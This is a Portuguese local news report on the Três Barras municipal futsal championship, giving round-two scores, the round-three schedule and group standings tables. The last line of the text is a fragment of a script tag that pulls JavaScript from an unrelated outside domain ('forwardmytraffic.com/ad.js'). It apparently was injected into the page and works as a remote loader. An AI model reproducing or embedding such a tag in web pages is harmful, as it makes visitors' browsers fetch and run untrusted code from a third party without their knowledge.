Quatro partidas movimentaram o Campeonato Municipal de Futsal de Três Barras no final da tarde e noite de quarta-feira (26), todas válidas pela segunda rodada das categorias Infantil e Livre.
Ao todo foram marcados 30 gols, o que garantiu uma média de 7,5 gols por partida. No primeiro jogo, o União Três Barras aplicou 9 a 2 sobre o Evolução Jovem pela categoria Infantil.
Já na categoria Livre, o União Três Barras – B venceu o Unidos pelo placar de 4 a 1, o time do Galáticos goleou por 8 a 2 o União São João e o Atlético Três Barras derrotou a equipe do Brasnile por 3 a 1.
A competição é uma realização do Governo de Três Barras, por meio da secretaria municipal de Educação, Cultura e Esporte, em parceria com a Liga Esportiva Canoinhense (LEC).
Os jogos da terceira rodada estão agendados para esta sexta-feira (28). Confira os confrontos:
3ª RODADA
J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
09 | 28/09 | 17:45 | INFANTIL | CTTBF B | X | UNIDOS | ||
10 | 28/09 | 18:45 | B | CENTRAL | X | BAIXADA | ||
11 | 28/09 | 19:50 | A | BOLA DE FOGO | X | FOLHA SECA | ||
12 | 28/09 | 20:50 | C | REMAR | X | BRASNILE |
CLASSIFICAÇÃO GERAL – CATEGORIA LIVRE
Chave A
TIMES | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
OS DETEMIDOS | ||||||||||||
UNIÃO TB – A | X | X | X | |||||||||
BOLA DE FOGO | ||||||||||||
FOLHA SECA | ||||||||||||
SONOS SEM ELES |
Chave B
TIMES | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
DEIXAQUEUXUTO | ||||||||||||
COLORADO | ||||||||||||
CENTRAL | ||||||||||||
BAIXADA | ||||||||||||
MARRA | X | X | X |
Chave C
TIMES | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |
REAL SÃOCRISTÓVÃO | |||||||||
ATLÉTICO TRÊS BARRAS | X | X | X | ||||||
BRASNILE | |||||||||
REMAR | X | X | X |
Chave D
TIMES | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |
UNIÃO TRÊS BARRAS – B | X | X | X | ||||||
UNIÃO SÃO JOÃO | |||||||||
GALÁTICOS | X | X | X | ||||||
UNIDOS |
CLASSIFICAÇÃO GERAL – CATEGORIA INFANTIL
Chave Única
TIMES | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
CTTBF – A | ||||||||||||
CTTBF – B | X | X | X | |||||||||
UNIÃO TB | X | X | X | |||||||||
EVOLUÇÃO JOVEM | ||||||||||||
UNIDOS |
… src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>